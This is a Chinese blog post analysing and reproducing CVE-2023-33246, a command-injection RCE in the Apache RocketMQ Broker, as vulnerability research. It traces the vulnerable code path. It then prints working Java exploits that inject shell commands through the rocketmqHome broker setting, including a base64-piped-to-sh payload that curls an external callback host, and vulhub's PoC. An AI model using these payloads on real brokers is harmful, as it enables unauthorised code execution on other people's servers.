RocketMQ RCE 复现分析
2023-06-03 17:20:19

学习一下~

前置知识

我觉得还是要先稍微了解一下 RocketMQ 的,这样起码可以知道什么场景下会用到这个组件或者应用。

image-20230604014616072

此处主要了解前面四个就好了,此次的漏洞点在 Broker

然后问问他数据的传递是怎么发生的:

1
2
3
4
5
6
7
8
9
10
11
12
消息流从Producer传递到Broker,主要分为以下几个步骤:
1. Producer通过指定的NameServer获取到对应的Broker的路由信息(包括Broker的IP地址和端口号)。
2. Producer向获取到的Broker发起TCP连接,并将消息发送给Broker。
3. Broker接收到消息后,将消息存储在默认已配置的存储设备中。
4. Broker向Producer返回发送响应,表示消息已经成功存储,Producer可继续发送消息

消息流从Broker传递到Consumer,主要分为以下几个步骤:
1. Consumer通过指定的NameServer获取对应的Broker的路由信息。
2. Consumer向获取到的Broker发起TCP连接,并在消费者组内订阅映射到该Broker上的指定主题,Broker会返回可用的消息队列列表。
3. Consumer开始从已经分配到的消息队列中拉取消息。
4. Consumer处理完消息后向Broker发送确认,告知Broker该消息已经被消费,Broker会更新消费者组内该消息队列的消费位移信息,从而避免消息重复消费。
5. 如果Consumer向Broker的集群订阅模式下消费,则Broker可能会将订阅到的消息发送给全部Consumer,这些Consumer各自独立消费消息,实现集群消费。

大概了解这些就差不多了,开始分析吧~

漏洞分析

https://nvd.nist.gov/vuln/detail/CVE-2023-33246

描述其实有个关键点,说的是 用开启 RocketMQ 的用户执行命令

一猜就是 Runtime

首先 diff 一下两个版本:

https://github.com/apache/rocketmq/compare/rocketmq-all-5.1.0...rocketmq-all-5.1.1#diff-9c5cd427fb3a07607d6d491a9cdd0b15c935a0fa933c525991c2f770cf36af4b

直接搜索 Runtime:

image-20230603173206797

看到新版本直接删了,那肯定是这块了

调用点如下:

1
2
3
org.apache.rocketmq.broker.filtersrv.FilterServerManager#createFilterServer
->
org.apache.rocketmq.broker.filtersrv.FilterServerUtil

然后看看这个类有这个:

image-20230604014244167

意思就是每 30 秒调用一次

看看哪里调用了这个 start:

1
org.apache.rocketmq.broker.BrokerController#startBasicService

image-20230604014419416

这个 BrokerController 是关键点。

既然 Broker 是漏洞点,那么触发漏洞的地方肯定在 Producer 或者 Consumer 了。

既然 Producer/Consumer 需要往这里发消息,那么肯定这里有方法接收消息的,但是找了半天最终找到了:

1
org.apache.rocketmq.broker.BrokerController#registerProcessor

image-20230604015659843

这里有各种 Processor ,下面有一处:

image-20230604015823841

这个是默认的 Processor,打开这个类看看就会发现:

image-20230604015924132

更新 BROKER 的配置。

CVE中还提到了一点:

image-20230604020056573

所以可以猜测 9.88 成是这里了。

找到调用这个 processRequest 的地方:

1
org.apache.rocketmq.remoting.netty.NettyRemotingAbstract#buildProcessRequestHandler

image-20230604022533247

看看 pair 哪来的:

1
org.apache.rocketmq.remoting.netty.NettyRemotingAbstract#processRequestCommand

image-20230604022608321

根据请求过来的 RemotingCommand 里面的 code 获取的 pair。

image-20230604023204835

Producer 发送过程

在一开始没看别人的 exp,我尝试着自己写一个,于是有如下分析,在官方的 example 中存在 producer.send 代码,然后一路走调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
org.apache.rocketmq.client.producer.DefaultMQProducer#send(org.apache.rocketmq.common.message.Message)
->

org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl#send(org.apache.rocketmq.common.message.Message)
->

org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl#sendDefaultImpl
->

org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl#sendKernelImpl
->

org.apache.rocketmq.client.impl.MQClientAPIImpl#sendMessage(java.lang.String, java.lang.String, org.apache.rocketmq.common.message.Message, org.apache.rocketmq.remoting.protocol.header.SendMessageRequestHeader, long, org.apache.rocketmq.client.impl.CommunicationMode, org.apache.rocketmq.client.producer.SendCallback, org.apache.rocketmq.client.impl.producer.TopicPublishInfo, org.apache.rocketmq.client.impl.factory.MQClientInstance, int, org.apache.rocketmq.client.hook.SendMessageContext, org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl)

看看最后这个很长的函数:

image-20230604085141901

然后再进到 sendMessageAsync:

image-20230604085256928

到这里分析就差不多了,我们只需要想办法构造个 remoteClient 类,然后用差不多的方法构造一下 RemotingCommand 就 ok 了。

他这也有现成的类可以 new

image-20230604085414376

最后构造出来如下:

1
2
3
4
5
6
7
8
9
10
11
AckMessageRequestHeader remotingCommand = new AckMessageRequestHeader();
RemotingCommand remotingCommand1 = RemotingCommand.createRequestCommand(RequestCode.SEND_REPLY_MESSAGE_V2, remotingCommand);
remotingCommand1.setCode(25);
// remotingCommand1.setBody("rocketmqHome = -c touch$IFS/tmp/haihaihai123 ;\nfilterServerNums = 1".getBytes());
String command = "curl http://dekftzoa.requestrepo.com/";
remotingCommand1.setBody(("rocketmqHome = -c echo${IFS}" + Base64.getEncoder().encodeToString(command.getBytes()) + "|base64$IFS-d|sh ;\nfilterServerNums = 1").getBytes());
NettyClientConfig nettyClientConfig = new NettyClientConfig();
NettyRemotingClient client = new NettyRemotingClient(nettyClientConfig, null);
client.start();
client.invokeSync("127.0.0.1:10911", remotingCommand1, 999999);
System.exit(0);

这里 remoteCommand 设置成 25 了,这是因为之前提到的常量就是 25:

image-20230604085548479

然后看看函数:

1
org.apache.rocketmq.broker.processor.AdminBrokerProcessor#updateBrokerConfig

image-20230604085610188

里面就是进行读取然后根据换行切割,就不具体分析了。

然后这里是修改 rocketmqHome。这是因为他拼接在了 sh 的最前面,这个是命令build:

1
org.apache.rocketmq.broker.filtersrv.FilterServerManager#buildStartCommand

image-20230604085859013

拼接在这里就方便操作,但是如果拼接在后面就不知道怎么执行了~

后来看到 vulhub 很简单的方法:

https://github.com/vulhub/vulhub/tree/master/rocketmq/CVE-2023-33246

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main(String[] args) throws Exception {
String targetHost = "your-ip";
String targetPort = "10911";

String targetAddr = String.format("%s:%s",targetHost,targetPort);
Properties props = new Properties();
props.setProperty("rocketmqHome", getCmd("touch /tmp/success"));
props.setProperty("filterServerNums", "1");
DefaultMQAdminExt admin = new DefaultMQAdminExt();
admin.setNamesrvAddr("0.0.0.0:12345");
admin.start();
admin.updateBrokerConfig(targetAddr, props);
Properties brokerConfig = admin.getBrokerConfig(targetAddr);
System.out.println(brokerConfig.getProperty("rocketmqHome"));
System.out.println(brokerConfig.getProperty("filterServerNums"));
admin.shutdown();
}

想来也是,既然他存在这样的接口,肯定用相应的调用方法。

broker IP 和 端口获取

对了,在上面是怎么获取到 IP 和端口的呢。

开启 NameServer 和 Broker 运行一遍 example 里的 Producer ,然后在这里下断点:

1
org.apache.rocketmq.remoting.netty.NettyRemotingClient#invokeSync

image-20230604090409196

有时候会传入 null,多断几次就有了。

这样就不用分析具体数据包了~

Prev
2023-06-03 17:20:19
Next